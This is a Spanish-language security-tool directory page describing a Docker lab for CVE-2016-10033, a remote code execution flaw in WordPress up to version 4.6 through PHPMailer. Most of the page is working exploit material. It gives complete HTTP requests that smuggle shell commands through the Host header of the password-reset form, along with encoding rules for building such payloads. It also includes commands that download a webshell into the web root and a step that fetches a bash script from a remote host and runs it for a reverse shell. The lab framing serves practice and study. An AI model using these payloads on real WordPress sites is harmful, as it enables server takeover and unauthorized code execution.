Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
WP-CVE-2016-10033 — Entorno de laboratorio basado en Docker para ejecución remota de código en WordPress <= 4.6 a través de PHPMailer (CVE-2016-10033), incluyendo PoC, carga de webshell y payloads de reverse shell. | Kitploit
Herramientas/GitHubGitHub/liusec/wp-cve-2016-10033
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de PayloadsLabs y Práctica
GitHubliusec/wp-cve-2016-10033

WP-CVE-2016-10033

Entorno de laboratorio basado en Docker para ejecución remota de código en WordPress <= 4.6 a través de PHPMailer (CVE-2016-10033), incluyendo PoC, carga de webshell y payloads de reverse shell.

Ver Repositorio
1hace 9 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

WordPress <= 4.6 Vulnerabilidad de Ejecución de Comandos (PHPMailer) (CVE-2016-10033)

Información de la Vulnerabilidad

WordPress es una plataforma de blogs desarrollada en PHP que permite a los usuarios crear su propio sitio web en servidores con soporte para PHP y bases de datos MySQL. También se puede usar WordPress como un sistema de gestión de contenidos (CMS). WordPress utiliza el componente PHPMailer para enviar correos electrónicos a los usuarios. PHPMailer (versión < 5.2.18) tiene una vulnerabilidad de ejecución remota de comandos. Un atacante solo necesita construir astutamente una dirección de correo electrónico maliciosa para escribir archivos arbitrarios, causando una ejecución remota de comandos.

Versiones Afectadas

WordPress <= 4.6

Información de la Imagen

TipoNombre de UsuarioContraseña
Mysqlrootroot
/wp-admin/adminadmin123

Obtención del Entorno:

  1. Extraer la imagen al local
root@kitploit:~
$ docker pull medicean/vulapps:w_wordpress_6
  1. Iniciar el entorno
root@kitploit:~
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6

-p 8000:80 el 8000 representa el puerto de la máquina física, se puede especificar arbitrariamente.

Visitar http://127.0.0.1:8000 y ver la interfaz principal de WordPress indica que el inicio fue exitoso

POC

Suponiendo que la dirección objetivo es: http://127.0.0.1:8000/

  1. Copiar el siguiente mensaje HTTP en BurpSuite Repeater, hacer clic en el botón Go, rellenar la IP y el puerto del objetivo (por ejemplo, IP: 127.0.0.1, puerto: 80)
root@kitploit:~
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin
  1. Visitar: http://127.0.0.1:8000/vuln

Ver que el código de estado de retorno es 200 significa que se ha creado exitosamente el archivo /var/www/html/vuln

Se puede visitar esa dirección antes de enviar el paquete, aparecerá un 404

Exploit

Idea: Crear un archivo de texto en un servidor HTTP remoto y descargarlo a la máquina objetivo mediante wget

Escribir un WebShell en el objetivo (altamente no recomendado)

Si ya se puede ejecutar comandos, ¿para qué enviar un WebShell?

  1. Ejecutar el siguiente comando:
root@kitploit:~
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php

Nota:

  1. En la URL remota no debe incluir http://
  2. Todas las letras deben estar en minúsculas
  3. Todos los / deben reemplazarse con ${substr{0}{1}{$spool_directory}}
  4. Todos los espacios deben reemplazarse con ${substr{10}{1}{$tod_log}}

El mensaje es el siguiente (ajustar user_login según la situación real, por defecto es admin):

root@kitploit:~
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin
  1. Visitar http://127.0.0.1:8000/webshell.php

Reverse Shell (Recomendado)

Si el contenido del archivo de texto remoto es un script bash, después de descargarlo al objetivo, se puede ejecutar directamente con /bin/bash

  1. Descargar el script bash al objetivo
root@kitploit:~
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
  1. Ejecutar
root@kitploit:~
/bin/bash /tmp/rce

Enlaces Relacionados

  • WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit
Descargar herramienta